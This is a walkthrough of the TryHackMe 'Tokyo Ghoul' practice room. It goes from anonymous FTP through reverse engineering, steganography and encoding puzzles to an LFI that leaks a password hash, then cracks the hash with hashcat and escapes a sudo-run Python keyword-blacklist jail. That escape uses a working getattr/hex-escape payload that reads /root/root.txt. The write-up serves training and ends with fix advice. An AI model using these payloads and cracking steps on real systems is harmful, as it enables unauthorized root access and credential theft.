Tokyo Ghoul
Anonymous FTP leads through a reversed binary passphrase, steganography and a morse/hex/base64 trail to a hidden web directory with an LFI that leaks a password hash; cracking it gives SSH, and a blacklist-based Python jail run under sudo is escaped to read the root flag.
A walkthrough of the “Tokyo Ghoul” room from TryHackMe — an anime-themed scavenger hunt. Anonymous FTP hands over a binary and an image; reversing the binary yields a steghide passphrase, the extracted file is a morse→hex→base64 trail to a hidden web directory, an LFI there leaks a password hash, and a blacklist-based Python jail run under sudo is escaped to read the root flag.
Tokyo Ghoul is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. The box uses bare-value flags; flags and the recovered password are shown as
<redacted>— real on the box, withheld here.
TL;DR
TL;DR
Anonymous FTP holds need_to_talk (an ELF that asks for a passphrase) and rize_and_kaneki.jpg → reverse the binary (Ghidra) to recover the passphrase, run it to get a steghide passphrase → steghide extract the image to a file of morse code → decode morse → hex → base64 → a hidden directory name → that web directory has an LFI that leaks kamishiro’s SHA-512 crypt hash → crack it (hashcat -m 1800 + rockyou) → SSH as kamishiro (user flag) → sudo allows python3 /home/kamishiro/jail.py, a blacklist Python sandbox → escape via getattr + hex-encoded attribute names to read /root/root.txt.
The target
export IP=<target-ip>
nmap shows anonymous FTP, SSH, and Apache:
21/tcp open ftp vsftpd 3.0.3 # Anonymous FTP login allowed
22/tcp open ssh OpenSSH 7.2p2 Ubuntu
80/tcp open http Apache 2.4.18 # "Welcome To Tokyo goul"
Anonymous FTP’s need_Help?/Talk_with_me/ directory holds a binary (need_to_talk) and an image (rize_and_kaneki.jpg).
The vulnerability
Most of the box is a CTF breadcrumb trail (reverse engineering → steganography → encoding puzzles). The two security bugs are a web LFI that reads arbitrary files (leaking a password hash) and a sudo-run Python “jail” whose protection is a keyword blacklist.
Insight
The privesc is the teachable part: jail.py runs exec(input) but first rejects any input containing the substrings eval, exec, import, open, os, read, system, write. A substring blacklist is trivially bypassed — reach the same functions via getattr(...) and spell the method names with hex escapes ('\x6f\x70\x65\x6e' is open). The blacklist never sees the forbidden words, so the sandbox is no sandbox.
Step 1 — reverse the binary → steghide → decode the trail
# Ghidra on need_to_talk -> hardcoded passphrase; run it:
./need_to_talk # enter passphrase -> prints a steghide passphrase
steghide extract -sf rize_and_kaneki.jpg # passphrase from the binary -> yougotme.txt (morse)
Decode the morse to hex, then hex to base64, then base64 to text — the result is a hidden directory name:
# morse -> 5A44...3D3D (hex) -> base64 -> "d1r3c70ry_center"
Step 2 — LFI leaks a password hash → crack → SSH (user flag)
gobuster on /d1r3c70ry_center/ finds /claim, which has a local file inclusion. Read /etc/passwd-style data to recover kamishiro’s SHA-512 crypt hash, then crack it:
# LFI -> kamishiro:$6$... (SHA-512 crypt)
hashcat -m 1800 -a 0 kamishiro_hash.txt rockyou.txt # -> <redacted>
ssh kamishiro@$IP
kamishiro@vagrant:~$ cat user.txt # <redacted>
Step 3 — escape the sudo Python jail → root flag
kamishiro@vagrant:~$ sudo -l
# (ALL) /usr/bin/python3 /home/kamishiro/jail.py
jail.py does exec(input) behind a keyword blacklist. Bypass it by routing through __builtins__ with getattr and hex-encoded method names so none of the banned substrings appear:
sudo /usr/bin/python3 /home/kamishiro/jail.py
>>> print(getattr(getattr(getattr(main,'__globals__')['__builtins__'],'\x6f\x70\x65\x6e')('/root/root.txt','rb'),'\x72\x65\x61\x64')())
# -> b'<redacted>'
This reads the root-owned flag through the sudo-run interpreter. The same primitive (open+read, or spawning a shell) reads any root file — a full root compromise in practice.
Impact
Critical
High — CVSS 3.1 ~8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N). A web LFI discloses a password hash which a weak password makes crackable, giving authenticated SSH access. A sudo-run Python script that execs user input behind a keyword blacklist is trivially escaped, allowing arbitrary file read (and code execution) as root — effectively full root compromise.
Recommended fix
Fix
- Fix the LFI: never build a file path from user input; use an allow-list of includable files and resolve/prefix-check paths.
- Enforce strong passwords and store them with a slow salted hash;
password-style secrets fall to rockyou instantly. - Never
exec**/**evaluser input. A keyword blacklist is not a sandbox; if you must run user code, isolate it (subprocess, seccomp, no builtins) — and don’t run it undersudo. - Don’t expose binaries/images with embedded secrets on anonymous FTP.
Takeaways
- Follow the trail, but know the real bugs. The anime puzzle is flavour; the LFI and the jail are the vulnerabilities.
- Encoding is not encryption. morse→hex→base64 is just obfuscation.
- Blacklists lose to
getattr+ hex escapes. Python sandboxes built on banned substrings are a classic escape. sudoon an interpreter is root. Anypython3 script.pyyou can influence is a path to root.
Tokyo Ghoul wraps real techniques — RE, stego, LFI, Python jailbreak — in a themed scavenger hunt. Thanks for reading.